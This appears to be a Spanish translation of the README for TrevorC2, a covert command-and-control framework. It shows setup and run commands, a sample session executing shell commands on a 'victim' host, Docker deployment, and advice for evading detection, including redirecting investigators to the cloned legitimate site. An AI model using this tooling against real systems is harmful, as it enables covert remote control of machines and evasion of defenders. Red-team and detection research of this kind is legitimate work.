
TrevorC2 es un sitio web legítimo (navegable) que canaliza comunicaciones cliente/servidor para la ejecución encubierta de comandos.
Escrito por: Dave Kennedy (@HackingDave) Sitio web: https://www.trustedsec.com
Tenga en cuenta que esta es una versión muy temprana; pronto se añadirán gran aleatorización y cifrado.
TrevorC2 es un modelo cliente/servidor para ocultar el comando y control a través de un sitio web normalmente navegable. La detección se vuelve mucho más difícil ya que los intervalos de tiempo son diferentes y no utiliza solicitudes POST para la exfiltración de datos.
, .'''''. ... ''''', .'
',' ,.MMMM;.;' '.
;; ;MMMMMMMMM; ;;'
:'M: ;MMMMMMMMMMM;. :M':
: M: MMMMMMMMMMMMM: :M .
.' M: MMMMMMMMMMMMM: :M. ;
; :M' :MMMMMMMMMMMM' 'M: :
: :M: .;"MMMMMMMMM":;. ,M: :
: ::,MMM;.M":::M.;MMM ::' :
,.; ;MMMMMM;:MMMMMMMM: :,.
MMM.;.,MMMMMMMM;MMMMMMMM;.,;.MMM
M':''':MMMMMMMMM;MMMMMMMM: "': M
M.: ;MMMMMMMMMMMMMMMMMM; : M
::: MMMMMMMMMMM;MMMMMMMM ::M
,''; MMMMMMMMMMMM:MMMMMMM :'".
,' : MMMMMMMMMMMM:MMMMMMM : '.
' : 'MMMMMMMMMMMMM:MMMMMM ; '
,.....;.. MMMMMMMMMMMMM:MMMMMM ..:....;.
:MMMMMMMM MMMMMMMMMMMMM:MMMMMM MMMMMMMM:
:MM''':"" MMMMMMMMMMMMM:MMMMMM "": "'MM:
MM: : MMMMMMMMMMMMM:MMMMMM ,' :MM
'MM : :MMMMMMMMMMMM:MMMMM: : ;M:
:M; : 'MMMMMMMMMMMMMMMMMM' : ;MM
:MM. : :MMMMMMMMMM;MMMMM: : MM:
:M: : MMMMMMMMM'MMMMMM' : :MM'
'MM : "MMMMMMM:;MMMMM" ,' ;M"
'M : ""''':;;;'''"" : M:
;' : "MMMMMMMM;." : "".
,; : :MMMMMMM:;. : '.
:' : ,MM'''""''':M: : ';
;' : ;M' MM. : ;.
Hay dos componentes en TrevorC2: el cliente y el servidor. El cliente se puede configurar para usarse con cualquier cosa. En este ejemplo está codificado en Python, pero se puede portar fácilmente a C#, PowerShell, o lo que desee. Actualmente, trevorc2_client.py es compatible con Windows, MacOS y Linux. Siempre se puede compilar el de Windows para obtener un ejecutable, pero la preferencia sería usar Windows sin tener que dejar caer un ejecutable como stager.
La forma en que funciona el servidor es escondiendo un parámetro justo antes del parámetro </body>. Esto es completamente configurable, y se recomienda configurar todo para que sea único con el fin de evadir la detección. Aquí está el flujo de trabajo:
1. `trevor2_server.py`: edite primero el archivo y personalice qué sitio web desea clonar, etc. El servidor clonará un sitio web de su elección y levantará un servidor. Este servidor es navegable por cualquiera y se ve como un sitio web legítimo. Dentro del código fuente hay un parámetro (que, nuevamente, es configurable) que contiene las instrucciones para el cliente. Una vez que un cliente se conecta, busca ese parámetro y luego lo usa para ejecutar comandos.
2. `trevor2_client.py`: todo lo que necesita en cualquier opción configurable es la capacidad de llamar a un sitio web, analizar algunos datos básicos, luego ejecutar un comando y luego poner los resultados en un parámetro de cadena de consulta codificado en base64 hacia el sitio. Eso es todo, no es difícil.
3. `trevor2_client.ps1`: implementación en PowerShell de `trevor2_client.py`, lo que permite usar PowerShell nativo para interactuar con `Trevor2_Server`.
pip install -r requirements.txt
Primero edite trevor2_server.py: cambie las opciones de configuración y el sitio a clonar.
python trevor2_server.py
A continuación, edite trevor2_client.py o .ps1: cambie la configuración y el sistema al que desea que se comunique.
python trevor2_client.py o .\trevor2_client.ps1
TrevorC2 admite la capacidad de manejar múltiples shells provenientes de diferentes nombres de host. La forma en que funciona TrevorC2 es que identificará nuevos nombres de host como sesiones. Puede interactuar con las sesiones una vez que ejecute un comando. Si tiene múltiples sesiones, puede escribir un comando e interactuar con esa sesión según el número de sesión almacenado globalmente.
Al iniciar TrevorC2 por primera vez, puede escribir help o ? para obtener información adicional. El uso básico del comando es "list", que listará cualquier shell activo o ninguno, o "interact <session_id>" para interactuar con el shell que desee.
Siempre puede escribir back/exit dentro de un shell; este seguirá activo y no matará el shell realmente.
Ejemplo a continuación:
root@stronghold:/home/relik/Desktop/git/trevorc2# python trevorc2_server.py
TrevorC2 - Canal encubierto de sitio web legítimo
Escrito por: David Kennedy (@HackingDave)
https://www.trustedsec.com
[*] Clonando sitio web: https://www.google.com
[*] Sitio clonado exitosamente.
[*] Iniciando servidor Trevor C2...
[*] A continuación, ingrese el comando que desea que ejecute la víctima.
[*] El cliente usa intervalos aleatorios, esto puede tomar unos momentos.
[*] Escriba help para ver el uso. Ejemplos de comandos: list, interact.
Trevor C2 shell
trevorc2>help
Comandos documentados (escriba help <topic>):
========================================
exit help interact list servercmd
trevorc2>help list
Descripción: Lista todos los agentes disponibles
Uso: list
trevorc2>list
No hay agentes disponibles. :-(
trevorc2>
*** Recibida conexión de 127.0.0.1 y hostname stronghold con sid de comunicación pSNIRFgTuZnCdHN para TrevorC2.
trevorc2>list
id hostname ip address communication_sessionid
1 stronghold 127.0.0.1 pSNIRFgTuZnCdHN
trevorc2>help interact
Descripción: Inicia un shell interactivo con el agente
Uso: interact <id>
trevorc2>interact 1
[*] Entrando al shell de trevorc2...
[*] Use exit o back para seleccionar otros shells
stronghold:trevorc2>ifconfig
[*] Esperando a que se ejecute el comando, sea paciente, los resultados se mostrarán aquí...
[*] Recibida respuesta del cliente...
=-=-=-=-=-=-=-=-=-=-=
(HOSTNAME: stronghold
CLIENT: 127.0.0.1)
ens33 Link encap:Ethernet HWaddr 00:0c:29:63:7c:67
inet addr:172.16.37.132 Bcast:172.16.37.255 Mask:255.255.255.0
inet6 addr: fe80::4b6b:fb52:f109:a7af/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1400907 errors:0 dropped:0 overruns:0 frame:0
TX packets:2588882 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:835091244 (835.0 MB) TX bytes:2623070556 (2.6 GB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:453640 errors:0 dropped:0 overruns:0 frame:0
TX packets:453640 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:211565776 (211.5 MB) TX bytes:211565776 (211.5 MB)
stronghold:trevorc2>back
trevorc2>help servercmd
Descripción: Ejecuta comando en el servidor
Uso: servercmd <comando>
Ejemplo: servercmd ifconfig
trevorc2>servercmd hostname
PwnServer
trevorc2>exit
[*] Saliendo de TrevorC2...
Usa un Dockerfile basado en Alpine para desplegar TrevorC2, útil para despliegue rápido en proveedores de nube.
Ejemplo a continuación:
git clone https://github.com/trustedsec/trevorc2.git
cd trevorc2
# En este punto, configurar docker-machine para desplegar remotamente funciona muy bien
docker build -t trevorc2 .
docker run -it -p 80:80 -p 443:443 trevorc2
Es importante cambiar las variables que se presentan en cada uno de los scripts. Especialmente SITE_PATH_QUERY y la clave de cifrado. También recomendaría mirar la opción REDIRECT. En lugar de clonar un sitio web, tiene otra opción que redirigirá al host víctima que pueda estar navegando el sitio para investigar al sitio legítimo. Básicamente, cuando alguien visita el sitio, simplemente lo redirigirá al sitio que desea clonar. Cambie el sitio clonado, por ejemplo de Google a un sitio diferente, y active la redirección a ON.